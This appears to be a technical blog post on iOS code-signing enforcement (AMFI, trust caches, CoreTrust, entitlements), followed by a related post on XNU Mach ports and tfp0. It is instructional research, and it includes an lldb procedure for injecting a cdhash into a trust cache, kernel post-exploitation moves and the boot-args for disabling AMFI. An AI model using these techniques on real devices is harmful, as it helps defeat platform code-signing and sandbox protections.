Every time a process is created, through execve or posix_spawn, the kernel has to answer one question before it runs a single instruction of the new image: may these bytes execute? Anyone who has built for iOS has seen the visible answer, the line in the log that reads AMFI: code signature validation failed. AMFI gets the blame, so it is easy to think of it as the code-signing check. It is not. It is one policy module plugged into a generic kernel framework, and the real answer is produced by a pipeline behind it: a signature format, a fast-path allowlist, an in-kernel certificate check, a userland daemon, and a set of signed capabilities. This post takes that pipeline apart, in the order the kernel walks it.

AMFI is not special: the MACF reveal

Start with the framework, because it is the piece that reframes everything else.

MACF is the Mandatory Access Control Framework, inherited from TrustedBSD and wired into XNU. The important thing about it is what it is not: it is not a security policy. It enforces nothing on its own. It is a registration and dispatch layer, a mesh of hook points sprinkled through the kernel at every sensitive operation, into which separate policy modules plug themselves.

Now the reveal. AMFI is a MACF policy module. So is the sandbox. So is Quarantine. AppleMobileFileIntegrity.kext is nothing more than a set of mpo_* callbacks hung on MACF hook points. That is why the two acronyms always show up together in a stack trace: “AMFI” is the policy, “MACF” is the mechanism it runs on. The sandbox, covered in the next post, is the exact same shape of thing, a second set of callbacks on the same hooks. They are siblings.

Two properties of the framework matter for the rest of this series, and both are load-bearing for an attacker.

Checks are deny-wins. When several policies implement the same check, the kernel keeps the most restrictive answer, so AMFI and the sandbox each hold an independent veto over the same operation. A bug that makes AMFI return “allow” early does not disable the sandbox’s hook on that operation, and the reverse is also true. The policies compose; they do not share a fate.

Labels are how a policy remembers. Each policy gets one or more label slots on the objects the kernel tracks, and the one that matters here is cr_label, on a process’s credentials, the field we met at the end of the last post. AMFI’s per-process code-signing verdict and the sandbox’s compiled profile both live inside it. This is the direct offensive consequence: once you have kernel read/write, editing that label slot sheds the policy’s memory of you. Patch the AMFI slot and the kernel forgets your process failed a check; patch the sandbox slot and the process is no longer confined. The framework is also its own target, since corrupting the policy list turns enforcement off wholesale. The sanctioned form of exactly that switch is the boot argument amfi_get_out_of_my_way, though getting a machine to honor it takes more than setting it, as the hands-on ends by showing.

Hold on to the label idea. Everything AMFI decides below is, in the end, a value it writes into that slot.

What a signature is, ending at the cdhash

Before the kernel can decide whether an image may run, it needs something to decide about. That something is the code signature embedded in the Mach-O, and for our purposes it reduces to a single 20-byte number. Let us get to that number.

The invariant the whole component exists to enforce is W^X plus code integrity: no page of memory is ever both writable and executable, and the contents of every executable page hash to a value some trusted party blessed. Break that and a memory-corruption bug stops being a crash and becomes persistent native code, which is why every jailbreak eventually has to defeat this layer and not just the kernel’s memory safety.

A signed Mach-O carries an LC_CODE_SIGNATURE load command pointing at a blob in its __LINKEDIT segment. That blob is a SuperBlob (magic 0xFADE0CC0): a small header, a count, and an index of (type, offset) pairs, each pointing at a sub-blob. The sub-blobs are the parts of the signature:

The CodeDirectory is the heart of it. It carries an array of hashes, one per 4 KiB page of the binary up to codeLimit: these are the code slots. When a page of the image is first faulted in, the virtual-memory system computes that page’s hash and compares it to the stored slot (cs_validate_page). On a process marked CS_HARD | CS_KILL, which is every normal process on iOS, a mismatch is a SIGKILL on the spot. That lazy, per-page check is the concrete mechanism behind “you cannot patch a signed page in memory”: the moment the modified page faults in, its hash no longer matches and the process dies, unless the page lives in a region that was never signed in the first place, which is the JIT hole we return to later.

The CodeDirectory also binds the other sub-blobs into itself through special slots, each holding the hash of one sub-blob. So you cannot alter the entitlements blob without changing the CodeDirectory, which is the whole reason the entitlement parser bugs later in this post are interesting.

And now the number. The cdhash is the hash of the CodeDirectory blob itself, truncated to CS_CDHASH_LEN, which is 20 bytes, whatever the underlying algorithm. It is the canonical identity of a binary. Every mechanism downstream keys on it: the trust cache is an allowlist of cdhashes, launch constraints are pinned to cdhashes, amfid’s reply is a cdhash, csops(CS_OPS_CDHASH) hands one back to userland. In the kernel it lives in a struct cs_blob attached to the file’s vnode.

So the rest of the article has a single subject. A binary is, for this purpose, its cdhash. The question “may these bytes run?” becomes “what does the kernel do with this 20-byte value at exec?”

The verdict pipeline

At exec, the kernel’s signature-check hook fans out to AMFI’s mpo_vnode_check_signature, the routine that produces the verdict. Sibling AMFI hooks around it do the smaller jobs: setting the CS_HARD | CS_KILL flags that make a hash mismatch fatal, enforcing library validation on loaded dylibs, and gating MAP_JIT and get-task-allow. But the signature check is the one that decides whether the process lives at all.

Inside that check, AMFI computes the binary’s cdhash and walks a pipeline. The order matters, because each stage is a different trust story with a different attack surface:

Read top to bottom, this is the entire answer to “may these bytes run?” The next four sections are just these rows in detail. Notice the first one already tells you something: for most of the code on the device, there is no cryptography at exec time at all.

Trust caches: the fast path

The base operating system is thousands of Mach-O files, and validating a CMS signature chain for each one on every launch would be slow. Apple’s answer is an allowlist. A trust cache is a sorted list of cdhashes that are trusted without any signature validation: if a binary’s cdhash is in the cache, it runs immediately as a platform binary, and the CMS blob is never even looked at. This is step 1 of the pipeline, and it is the path taken by essentially the whole OS.

The cache is carried in an Image4 container (an IM4P payload, the format from the boot-chain post), tagged trst for the static cache or ltrs for a loadable one, with restore and engineering variants besides. Inside is a short header (a version, a uuid, an entry count) followed by sorted { cdhash, hashType, flags } entries, so a lookup is a binary search on the 20-byte cdhash. Version 2 adds a byte tying each entry to a launch-constraint category.

There are two kinds:

• The static trust cache is built into the kernelcache, one per image, and locked read-only after early boot. It is the allowlist for the shipped OS.
• Loadable trust caches are added at runtime, for things like a mounted disk image’s contents or a developer’s binaries.

This is the jailbreak’s oldest friend. Before the page-table monitors existed, a loadable trust cache lived in ordinary writable __DATA kernel memory. Once an exploit had kernel read/write, it appended its own binaries’ cdhashes to that list, and from that moment those binaries ran as platform code with no signature check. Electra’s inject_trusts is the canonical example, adding the cdhashes of amfid_payload.dylib and the rest of the jailbreak’s userland. Hold that thought until the 2026 section, because it is exactly the move that stopped working.

Aside: injecting a cdhash by hand in lldb

Attach a kernel debugger, lldb against a target matched to its Kernel Debug Kit, and you have kernel read/write for free. That is the same position a finished exploit is in when it reaches this step, which makes the debugger the cleanest way to prototype the injection an exploit would automate, the by-hand version of inject_trusts. On a build where the loadable trust cache still sits in writable kernel memory, the move is short: find the module, read its header, drop your binary’s cdhash into a fresh entry, and raise the count over it.

(lldb) # a loadable trust cache module in kernel memory
(lldb) #   (recover the list-head symbol during symbolication)
(lldb) p (struct trust_cache_module1 *)<trust cache module>
(struct trust_cache_module1 *) $0 = 0xffffff8000a1c000

(lldb) # header: version, a 16-byte uuid, then the entry count
(lldb) p $0->num_entries
(uint32_t) $1 = 41

(lldb) # each entry is { cdhash[20], hash_type, flags }, kept sorted
(lldb) # write your binary's cdhash (the 20 bytes from codesign -dvvv)
(lldb) # into the next slot, then raise the count over it
(lldb) memory write --infile cdhash.bin &$0->entries[41]
(lldb) expr -- $0->num_entries = 42

Two things make this less casual than the four lines suggest. The entries are sorted so the lookup can binary-search them, so a correct injection inserts in order, or, as real injectors do, splices in a fresh single-entry module rather than appending to a shared array. And it only works where that memory is writable at all. On a PPL device the loadable trust cache lives in pmap_cs pages the kernel is not allowed to write, and on an SPTM device it is a monitor-owned frame the kernel cannot write, so the identical write faults. That failure is the whole of the 2026 section compressed into one experiment: the exact write that made a cdhash trusted is the one Apple moved out of the kernel’s reach.

CoreTrust: the check that moved into the kernel

If the cdhash is not in a trust cache, the binary has to prove itself with its CMS signature, and here there is history worth telling, because it explains why this stage exists at all.

For years the real signature validation happened in userland, in the amfid daemon we meet next. The kernel’s AMFI would compute a cdhash, hand it to amfid, and trust amfid’s yes-or-no answer. That design has an obvious weakness once an attacker has kernel read/write: patch amfid. Every jailbreak of that era did. LiberiOS pointed amfid’s import of the validation function at a bad address and caught the resulting fault; Electra rebound it to a fake_MISValidateSignatureAndCopyInfo that simply returned success. The signature check was a userland function, and userland functions can be rewritten.

CoreTrust closed that door. It is an in-kernel validator (packaged as CoreTrust.kext on most builds) that parses the CMS SignedData structure, builds the X.509 certificate chain, verifies every signature in it, and confirms the chain terminates at an Apple root certificate pinned inside the kernel. Having done that, it classifies the leaf certificate by its extensions into a signer class: App Store, developer, enterprise, TestFlight. It hands those policy flags back to AMFI. It deliberately does not look at entitlements or provisioning profiles; its entire job is “is this a genuine Apple-rooted signature, and of what kind.”

The consequence is that a lying amfid buys you nothing anymore. The cryptographic decision now lives in the kernel, anchored to a key an attacker with read/write can read but cannot make the CMS math validate against. The loosely-signed path still runs amfid, but only after CoreTrust has bounded what a valid signer could be. That is why post-CoreTrust jailbreaks stopped shipping a patched amfid and went looking for logic bugs in CoreTrust itself.

Its entire input is attacker-controlled ASN.1, which makes the parser and the chain-validation logic a target in their own right. We come back to a real one, CVE-2022-26766, in the offensive section.

amfid and provisioning profiles

The third row of the pipeline is the one that carries third-party code: apps signed by a developer or an enterprise rather than baked into the OS or shipped through the App Store.

amfid (/usr/libexec/amfid) is the userland daemon that handles this path. The kernel’s AMFI reaches it over a dedicated Mach special port (port 18). Its job is to validate the binary against the provisioning profiles installed on the device, by calling MISValidateSignatureAndCopyInfo in libmis, and to return the cdhash and signer information.

A provisioning profile is a CMS-signed plist, stored under /var/MobileDeviceProvisioningProfiles, that binds four things together:

• the developer or enterprise certificate(s) allowed to sign,
• the entitlements the binary is permitted to claim,
• the device UDIDs it may run on,
• an expiry date.

amfid cross-checks the binary’s actual signer and requested entitlements against this profile. This is the machinery behind a detail every iOS developer has hit: a free “personal team” profile expires in 7 days, so a sideloaded app signed that way stops launching a week later. Enterprise profiles last far longer, which is precisely why enterprise certificates are the perennial vehicle for sideloading and for iOS malware distribution.

Entitlements: signed capabilities

We have mentioned entitlements at every stage; now define them properly, because they are the bridge to the rest of the security model. An entitlement is a signed key/value pair bound into the CodeDirectory by a special slot, so it cannot be altered without breaking the cdhash. An entitlement is a capability the signer cryptographically granted.

They fall into three groups, and the distinction is the entire point:

AMFI enforces that a third-party binary may carry only the entitlements its provisioning profile authorizes; a binary cannot simply ask for platform-application and receive it. The restricted group is what separates Apple’s own code from everyone else’s, and forging membership in it, by getting the kernel to believe a binary holds an entitlement it was never granted, is the exact prize the signature bugs below go after.

The last group is the handoff to the next post. A sandbox exception is an entitlement that AMFI validates here, at exec, and that the sandbox then consumes at runtime to widen what the process may touch. AMFI decides what a binary is allowed to be; the sandbox decides what a running process is allowed to do. They meet at the entitlement.

The offensive angle: logic beats corruption

Given all of the above, where are the bugs? The memory-safety surface is real (the CMS ASN.1 decoder and the CodeDirectory’s bounds arithmetic are reachable from anything that gets a Mach-O parsed, and worth fuzzing), but the defining bugs of this component are logic, and that is what makes them special. A logic bug in the code-signing policy needs no heap shaping, survives kalloc_type, is untouched by memory tagging, and does not care about the page-table monitor. It convinces the machine that a lie is a valid signature. Three cases show the pattern.

Psychic Paper (Siguza, 2020, CVE-2020-9842, fixed in iOS 13.5) is the purest of them. iOS parsed the entitlements blob with two different XML parsers, one in the kernel and one in userland, and Siguza found a comment construct they read differently: one saw a harmless plist, the other an entitlement that was not really there. The launch-time check validated the benign reading while the runtime granted the malicious one, so an unprivileged app could claim any entitlement it liked, up to platform-application. No memory was corrupted; two parsers simply disagreed, and the gap was a capability. The fix routed every consumer through one hardened parser, AMFIUnserializeXML.

The DER sequel (Ivan Fratric, Project Zero, CVE-2022-42855, fixed in iOS 15.7.2) is the same bug in binary clothes. Apple moved entitlements to DER partly to end these differentials, since DER is meant to have one canonical reading. But libCoreEntitlements had three traversals that disagreed on how far a sequence extended: the validation and query paths ran past its declared length while the profile-subset check respected it. An entitlement smuggled in as an extra element was honored at runtime but invisible to the check meant to reject it. Psychic Paper again, in the format introduced to prevent it.

The CoreTrust root bug (Linus Henze, CVE-2022-26766, fixed in iOS 15.5) attacked the certificate check instead of the parser, and it has the largest footprint. CoreTrust validated the CMS chain but never confirmed it terminated at an Apple root, so a certificate merely carrying the App Store extension, whoever issued it, made CoreTrust set the App Store flag and AMFI run the binary with nearly any entitlement. This is the primitive behind TrollStore: permanent, arbitrary code signing, no memory corruption at all. The archetype of the class, a logic bug that answers “may these bytes run?” with an unconditional yes.

And when the bug is in the kernel rather than the policy, the same component is the post-exploitation endgame. With kernel read/write in hand, an attacker does not necessarily need a fresh signing bug: append a cdhash to a loadable trust cache, or flip CS_PLATFORM_BINARY and clear CS_HARD | CS_KILL in a process’s p_csflags, or edit the AMFI label slot to grant an entitlement. Each of these is a data-only write that turns “I control kernel memory” into “I run whatever code I want.” On pre-A15 hardware, they all still land. The next section is about why, on current hardware, most of them do not.

State in 2026

The abstractions above are stable, but the ground under the post-exploitation moves has shifted hard, and the headline is that a kernel read/write is no longer enough to forge a verdict.

TXM owns the decision now. On A15 and M2 and later, the SPTM devices, the code-signing verdict left the XNU address space entirely. The Trusted Execution Monitor runs at a higher privilege than the kernel and holds the trust caches, the provisioning-profile registry, and the signature objects in memory the page-table monitor refuses to map writable to the kernel. The effect is blunt: trust-cache injection and p_csflags forging, the two moves that ended the offensive section, are dead on this hardware, because the bytes you would overwrite are not in memory XNU can write. Post-exploitation now needs a monitor bug on top of the kernel bug, a subject for the hardening post later in this series. tfp0 is again the start of the hard part.

The rest of the deltas, in brief:

• DER entitlements are the enforced form since iOS 15, retiring the XML parser-differential class, with the irony that the DER decoder produced its own CVE-2022-42855.
• Launch constraints (iOS 16, everywhere by 2026) pin a system binary to the context it may launch in, closing the “reuse an old Apple-signed binary” and “repurpose a privileged helper” tricks.
• CoreTrust was hardened after CVE-2022-26766: the root anchor is enforced now, and TrollStore-class permanent signing died with it.
• Developer Mode (iOS 16) replaced the ad-hoc “just disable AMFI” paths with a signed, reboot-gated state.

What still works, and will keep working, is the logic. A parser differential or a chain-validation flaw in the policy bypasses memory tagging, kalloc_type, and the page-table monitor all at once, because it never corrupts anything: it convinces a correct machine of a false fact. That is the enduring lesson of this component. The JIT hole is also permanent by construction: a process holding dynamic-codesigning owns a legitimately writable-then-executable mapping, and a bug inside such a process, a browser’s JavaScript engine being the obvious one, reaches native code without touching any of this machinery.

Hands-on: dumping the policy off a real binary

You can watch this whole pipeline from a Mac, no jailbreak needed, because every value it turns on is dumpable from the signature and the kernelcache. We read a binary’s signature, pull out its cdhash, then open the OS’s trust cache, the allowlist of exactly those values that decides what runs as platform code.

1. Read the SuperBlob and the cdhash. codesign -dvvv prints the CodeDirectory summary and the cdhash for any signed binary. /bin/ls is a good first target, because it is one of Apple’s own platform binaries:

codesign -dvvv /bin/ls

Executable=/bin/ls
Identifier=com.apple.ls
Format=Mach-O universal (x86_64 arm64e)
CodeDirectory v=20400 size=741 flags=0x0(none) hashes=18+2 location=embedded
Hash type=sha256 size=32
CDHash=1205ca11b1c3f706109656bcf4e2c12439d843b7
Signature size=4442
Authority=Software Signing
Authority=Apple Code Signing Certification Authority
Authority=Apple Root CA
TeamIdentifier=not set

hashes=18+2 is 18 code slots plus 2 special slots. CDHash=1205ca11... is the 20 bytes everything downstream keys on. The Authority= chain is what CoreTrust validates, terminating at Apple Root CA, and the Software Signing leaf marks this as Apple’s own platform code, which is also why it carries no team identifier and no entitlements. Add --entitlements - when a binary actually has entitlements, to dump them alongside.

2. See the allowlist itself: the trust cache. The other half of that first pipeline step is where those cdhashes are trusted. ipsw fw tc pulls the trust caches an IPSW ships, one per system disk image (the mounted-image caches from earlier). Point it at an IPSW, not a decompressed kernelcache; --remote streams a URL without downloading the whole file:

ipsw fw tc iPhone10,3,iPhone10,6_15.0_19A346_Restore.ipsw
# --remote '<IPSW URL>' streams it instead of downloading

UUID:       E45C2F07-B759-44D4-BBD5-B3844FDBBED6
Version:    1
NumEntries: 2407
    0023c7654da7272bbd68953586f1a299b8bed350 sha256
    00262ea6bb7dcf7ee984c8280a6e5e5ac7a14584 sha256
    0037fc2307eae66eaf7139916862dc2b7336b43f sha256
    ...

This IPSW carries three, one per system image; the main OS volume’s is the big one, 2,407 cdhashes, each a 20-byte value exactly like the one /bin/ls gave up in step 1, sorted for a binary search. On iOS a binary runs as platform code precisely when its cdhash is one of these, with no CMS validation at all. That presence, and nothing cryptographic, is why so much of the OS never touches CoreTrust.

3. Try to grant yourself an entitlement, and watch AMFI decide. The steps so far read Apple’s policy off finished binaries. Now go the other way and try to give yourself a capability by signing it in. This is a macOS demonstration, because macOS will run locally-signed code at all; on iOS the binary would be killed for having no trust-cache entry and no Apple signature, long before entitlements came up. That relaxed first gate is what lets us isolate the entitlement check.

A freshly compiled binary is ad-hoc signed by the linker and carries no entitlements. Give it a benign one, the macOS debug entitlement com.apple.security.get-task-allow, re-sign ad-hoc, and it runs:

printf 'int main(void){return 0;}\n' > hello.c && clang -o hello hello.c
echo '{"com.apple.security.get-task-allow":true}' | plutil -convert xml1 -o allowed.plist -
codesign -s - --entitlements allowed.plist -f ./hello
./hello; echo "exit: $?"
# exit: 0

That entitlement is self-declared: any signer, ad-hoc included, may carry it, because it grants no authority the system has to vouch for. Now ask for one that does. platform-application marks a binary as Apple’s own platform code, the CS_PLATFORM_BINARY from the pipeline, so a self-signed binary must not be able to claim it:

echo '{"platform-application":true}' | plutil -convert xml1 -o restricted.plist -
codesign -s - --entitlements restricted.plist -f ./hello
./hello; echo "exit: $?"
# zsh: killed  ./hello
# exit: 137

A SIGKILL, before main. With log stream --predicate 'sender == "kernel"' open in another Terminal, the reason prints as the process dies:

kernel: mac_vnode_check_signature: /private/tmp/hello: code signature validation failed fatally:
  Code has restricted entitlements, but the validation of its code signature failed.
kernel: validation of code signature failed through MACF policy: 1

platform-application is a restricted entitlement, so carrying it forces the signature to be authorized to carry it, and an ad-hoc signature is authorized by nobody. Note the check: mac_vnode_check_signature, failing through MACF policy, the exact hook and framework from the top of this post.

The instinct is that a real signing identity fixes this. It does not. Sign the same binary with a genuine Apple Development identity, same entitlement:

codesign -s "Apple Development: Adam Taguirov" --entitlements restricted.plist -f ./hello
./hello; echo "exit: $?"
# exit: 137   (the same mac_vnode_check_signature kill)

Still dead. Holding a real certificate is not the same as being authorized for the entitlement. A developer can unlock some restricted entitlements with a provisioning profile, the signed document from the amfid section that binds entitlements to certificates and devices; platform-application is not one of them, it is reserved for Apple’s own platform binaries and no third-party profile grants it. Self-signing, ad-hoc or developer, lets you write any entitlement into the blob but confers no authority to use a restricted one. Manufacturing that authority, making the kernel believe a binary holds an entitlement it was never granted, is exactly what a bug like Psychic Paper bought.

4. Turn the enforcement off, and see what that takes. Everything above watches AMFI decide. The sanctioned way to make it stop deciding is the boot argument from the MACF section, amfi_get_out_of_my_way: set it, and AMFI’s hooks return “allow” without checking, so unsigned code runs. The switch itself is trivial. What a machine makes you do before it will honor it is the part worth seeing.

On a Mac the argument goes in NVRAM, which the boot loader passes to the kernel:

sudo nvram boot-args="amfi_get_out_of_my_way=0x1 cs_enforcement_disable=1"

On a stock machine that command changes nothing. The kernel ignores AMFI-disabling boot-args unless System Integrity Protection is already off, and SIP comes off only from recoveryOS with csrutil disable. On Apple Silicon there is a step in front of even that: recoveryOS refuses to disable SIP until you lower the machine’s security policy from Full to Reduced in Startup Security Utility. So the real sequence is boot recoveryOS, lower the security policy, csrutil disable, reboot, set the boot-arg, reboot again. Only then does the off-switch flip.

On iOS none of that is available. A production iPhone will not let you write boot-args, and its release kernel would ignore them if you could. The argument is honored only on Apple’s own development-fused hardware, or on a device whose boot chain you have already broken: a checkm8-class Boot ROM bug that lets you patch iBoot and inject boot-args, or a kernel already patched by a jailbreak. That is the thread straight back to the first post. You can only relax code signing if you can influence the boot chain, and the boot chain is the thing built to stop you. The off-switch is real, but it sits behind the security state the boot chain establishes, never in front of it.

Where this leaves us

We can now answer the question the post opened with. When a process is created, the kernel computes its cdhash and walks a pipeline: the trust cache first (the allowlist that runs the base OS with no cryptography), then CoreTrust (an in-kernel CMS check anchored to a pinned Apple root), then amfid with the provisioning profiles. The outcome is written as flags and a label into the process’s credentials, along with the entitlements it was granted. AMFI runs this, plugged into MACF alongside the sandbox, and its richest bugs are not memory corruption but logic: two parsers, or a certificate check, made to disagree.

That last handoff is the next post. AMFI has decided what this binary is allowed to be, and stamped the answer, including its sandbox-exception entitlements, into cr_label. The sandbox is the other module reading that same label, and it decides the complementary question: now that the process is running, what is it allowed to touch? It is AMFI’s twin on the same framework, and escaping it is more often a matter of logic than of corruption, for reasons that will feel familiar by the end.

Notes and sources

Everything here is drawn from open source, vendor documentation, and published research.

• Apple, Apple Platform Security, for code signing, trust caches, launch constraints, and Developer Mode at the vendor-documentation level.
• Apple’s open-source XNU is ground truth for the structures named here: osfmk/kern/cs_blobs.h (the CSMAGIC_* and CSSLOT_* values, CS_EXECSEG_*, CS_CDHASH_LEN), osfmk/kern/trustcache.h (the trust-cache header and entry layout), bsd/sys/code_signing.h and bsd/kern/code_signing/{xnu,ppl,txm}.c (the csm_* monitor interface), and security/mac_policy.h (the mpo_* MACF hook names).
• Siguza, “Psychic Paper” (2020, CVE-2020-9842), the XML entitlement parser-differential and the AMFIUnserializeXML fix.
• Ivan Fratric, “DER Entitlements: The (Brief) Return of the Psychic Paper” (Project Zero, 2023, CVE-2022-42855), the libCoreEntitlements DER traversal differential.
• Linus Henze, the CoreTrust root-anchor bug (CVE-2022-26766), documented on The Apple Wiki; the primitive behind TrollStore.
• Quarkslab, “Modern Jailbreaks’ Post-Exploitation”, for trust-cache injection (inject_trusts) and the amfid-patching history that CoreTrust ended.
• Moritz Steffin and Jiska Classen, “A Deep Dive into SPTM, TXM, and Exclaves” (2025), for TXM as the code-signing monitor and the txm_kernel_call path.
• Jonathan Levin, *OS Internals, Volume III: Security & Insecurity (newosxbook.com), the reference for AMFI, amfid, CoreTrust, trust caches, and provisioning profiles.

The organizing question is simple. Everything a process does to the kernel, and everything an exploit does to escalate, converges on one capability: a handle, held in userland, that reads and writes kernel memory. In iOS folklore that handle is called tfp0. This article is the map of the concepts you cross to understand what tfp0 actually is, and why it is the objective every kernel exploit climbs toward.

To get there we need three things: what kind of kernel XNU is, how it represents authority, and how that representation produces (or denies) kernel read/write.

Not a microkernel, not a monolith

XNU is a hybrid, and the word is doing real work. Its core is Mach, which owns inter-process communication, virtual memory, and scheduling. Bolted onto that is a BSD personality, which owns the POSIX surface: processes, the syscall table, the filesystem layer, sockets, and credentials. IOKit, the C++ driver runtime covered in a later post, and libkern round it out. All of it is linked into a single image, the kernelcache, running in one privileged address space at EL1, the kernel’s privilege level.

The hybrid choice is a performance decision. BSD and IOKit could have been separate Mach servers reached by message passing, the way a true microkernel would arrange them. Instead they are co-located in kernel space and call each other by direct function call.

That decision has a consequence an attacker cares about. There is no internal privilege boundary between these subsystems below the guarded-monitor line that Apple added later: the Page Protection Layer (PPL), then the Secure Page Table Monitor (SPTM), both discussed near the end. A memory-safety bug in a niche IOKit driver or a BSD socket option corrupts the same heap that holds ipc_port objects and page tables, so a BSD bug regularly ends up as a Mach primitive.

The cleanest way to hold the hybrid in your head is to notice that many concepts have a Mach half and a BSD half of the same underlying thing:

A process is both a task and a proc, linked by a back-pointer, and a syscall from EL0 lands in one of two dispatch tables depending on the sign of the syscall number. Two rows are worth reading carefully, because they answer a question people new to Mach always ask.

A Mach port is the exact analogue of a file descriptor. Both are a small integer, valid only inside one process, that indexes a per-process table in the kernel and names a kernel object you never touch directly. You read and write a file through an int; you talk to a service, a task, or a driver through a mach_port_name_t. And like a file descriptor, a port is transferable: you hand a port to another process inside a Mach message, the same way you hand a file descriptor to another process with SCM_RIGHTS over a Unix socket.

A Mach message is the analogue of writing to a socket or pipe, with one difference. A Mach message can carry port rights and out-of-line memory, not just bytes. Sending a message can transfer a capability. That is why the rest of iOS security is built on Mach IPC and not on the BSD socket layer.

The Mach half

Tasks and threads

A task is a container, not a schedulable thing. It owns an address space (vm_map), a port namespace (ipc_space), a set of threads, and a handful of special ports it starts life with. A thread is the schedulable entity inside a task: it carries register state and its own control port. Both live in dedicated kernel zones and, on modern hardware, are increasingly sequestered and pointer-signed.

For an attacker the task structure matters because it is the thing you eventually want to forge. A fake task you control, referenced by a port the kernel believes is a task control port, is a fake kernel task port. Hold that thought; it is where this section is going.

Ports: the unit of authority

This is the center of the whole article, so it is worth going slowly.

What a port is. A Mach port is an object inside the kernel, a struct ipc_port. At heart it is a message queue with an ownership and rights model attached. Userland never sees the object or its address. It sees only a name, a mach_port_name_t, which is a small integer valid inside the naming task. The port is the Mach analogue of the file descriptor from the table above, and everything a task is allowed to do it does by holding the right kind of port.

How rights work. The authority is not the port, it is the right you hold to it. There are five kinds:

• receive: unique, held by exactly one task, owns the message queue. Whoever holds the receive right is the service behind the port.
• send: a copyable capability to enqueue messages onto that queue.
• send-once: guarantees exactly one message, then is consumed. Reply ports use these.
• dead-name: what a right becomes when its port dies.
• port-set: a receive-side aggregation so one thread can block on many ports at once.

The whole capability model is one sentence: the right you hold decides what you are allowed to do. Holding a send right to a service’s port means you can talk to that service, nothing more. Holding the receive right means you are that service.

How a name becomes an object. When you make a Mach call with a port name, the kernel translates that name to an ipc_port through your task’s ipc_space, described in the next subsection. The important part here is that the translation is checked: the right type has to match, and a generation number has to match, so a stale name fails safely rather than pointing at whatever object reused the slot.

Kobject ports: the bridge from IPC to the rest of the kernel. Most ports front a userland message queue. But some front a kernel object. When they do, the port’s io_bits field carries a kobject type, one of a fixed set such as IKOT_TASK_CONTROL, IKOT_THREAD_CONTROL, IKOT_HOST_PRIV, or IKOT_IOKIT_CONNECT, and the ip_kobject field points at the real kernel object: a task, a thread, an IOKit user client. Helper functions like convert_port_to_task(port) check the kobject type in io_bits, then dereference ip_kobject and hand back the task. This is what turns “I hold a port” into “I act on a kernel object.”

What ports are for, and the punchline. A task exercises all of its authority through ports. Its bootstrap port reaches launchd and, through it, other services. Its task self port lets it call the mach_vm_* family on its own address space. Its exception ports receive a thread’s state when it faults. Its host port answers unprivileged queries, while the separate host-priv port gates privileged host RPCs.

And then the one that matters most. A send right to an IKOT_TASK_CONTROL port whose ip_kobject is the kernel’s own task lets you call mach_vm_read and mach_vm_write against kernel memory. That single capability is kernel read/write from userland. It is tfp0, and the entire back half of this post is about it. So it comes down to one move: obtain that port, or forge something the kernel reads as that port.

Forging it is exactly the offensive angle. If you can make a ipc_port you control read back with io_bits set to IKOT_TASK_CONTROL and ip_kobject pointing at a task you also control, you have a fake kernel task port even when the real one is out of reach. On arm64e devices (A12 and later) ip_kobject and the entry pointers are PAC-signed (pointer authentication) with per-field discriminators, so you cannot simply copy a pointer in from elsewhere. That is a large part of why forging a port is hard today, and it is the subject of the later post on pointer authentication.

ipc_space: a task’s table of capabilities

Ports are the objects. ipc_space is where a task keeps its names for them, and it is as important as the ports themselves.

What it is. An ipc_space is a task’s port-name namespace: the per-task table that maps the port names userland sees to the real ipc_port objects in the kernel. It hangs off the task as itk_space. It is, precisely, the Mach counterpart of the file-descriptor table p_fd. Your authority as a task is the set of entries in your ipc_space. What you cannot name, you cannot touch.

How it works. The space holds is_table, an array of struct ipc_entry. A 32-bit port name splits into two parts:

• an index, MACH_PORT_INDEX(name) = name >> 8, which slot in is_table,
• a generation, MACH_PORT_GEN(name) = (name & 0xff) << 24, a counter used to detect stale names.

Each ipc_entry carries ie_object, a pointer to the ipc_port (PAC-signed on arm64e), and ie_bits, which packs the right type in its low bits and the generation in its high bits. Resolving a name is therefore: take the index, look up is_table[index], check that the generation in the name matches the generation in ie_bits, check the right type, then dereference ie_object. Every Mach call that takes a port name walks this path.

What it implies. Two things, and both are load-bearing for exploitation.

The generation counter is the anti-stale-name mechanism. When a slot is freed and later reused for a different port, its generation is bumped, so an old name that carried the old generation no longer validates. It resolves to a dead name instead of silently aliasing the new port. Defeating that, by getting a name reused before the generation rolls over or by abusing a table-reallocation bug, is the classic stale port name primitive: an old name now resolves to a different port than the one it named, which is capability-level type confusion.

And is_table is an ordinary kernel-heap object whose size and placement in the heap an attacker can influence by allocating ports. Corrupting an ie_object pointer means a name now resolves to an ipc_port you control, and from there you are back to forging a kobject port, a fake task port, and tfp0.

Aside: walking a live ipc_space in lldb

If you have a kernel debugger on a jailbroken device or in Corellium, you can watch the whole chain with your own eyes, which is the fastest way to make it concrete. The walk is task, then space, then table, then entries, then the port, then its kobject type:

(lldb) p (task_t)current_task()
(task_t) $0 = 0xffffffe0...

(lldb) p $0->itk_space
(ipc_space_t) $1 = 0xffffffe0...

# the table and its current size
(lldb) p $1->is_table
(lldb) p $1->is_table_size

# entry N: its ie_bits (right type + generation) and the port it names
(lldb) p $1->is_table[N].ie_bits
(lldb) p (ipc_port_t)$1->is_table[N].ie_object

# follow the port to its kobject type in io_bits
(lldb) p ((ipc_port_t)$1->is_table[N].ie_object)->ip_object.io_bits

Read the kobject-type bits of io_bits and you can tell, entry by entry, which name is your task self port, which is the host port, and so on. Do the same walk against a port you should not have, and a receive-versus-send right or a kobject type that does not belong is exactly the kind of thing that tells you a bug worked.

The rest of the Mach machinery

The remaining Mach pieces matter but do not need the same depth here, because later posts own them.

Virtual memory underlies every memory bug. Per task there is a vm_map, a sorted set of vm_map_entry ranges, each backed by a vm_object that owns physical pages, with pmap holding the architecture page tables. Two details recur in exploitation: vm_map_copy, the transient object created to carry out-of-line message data, is a favorite heap-spray and disclosure primitive; and pmap is the object the page-table monitors (PPL, then SPTM) exist to protect, which is why a VM bug that reaches pmap is worth more than one that does not.

Mach traps are the raw entry points. mach_trap_table is indexed by negated syscall numbers from EL0. The entries you drive constantly in an exploit are the _kernelrpc_* primitives (mach_port_allocate, mach_port_insert_right, mach_port_mod_refs, mach_vm_allocate, and friends) and mach_msg2_trap, the modern consolidated message path. These are reachable from almost any sandbox, which is what makes them the core surface of nearly every escalation.

Zones are the allocator. zalloc slices pages into fixed-size elements of one kind, with dedicated zones for hot types such as ipc.ports. This is where an exploit lines up its objects in memory, and the later post on building a read/write primitive lives here.

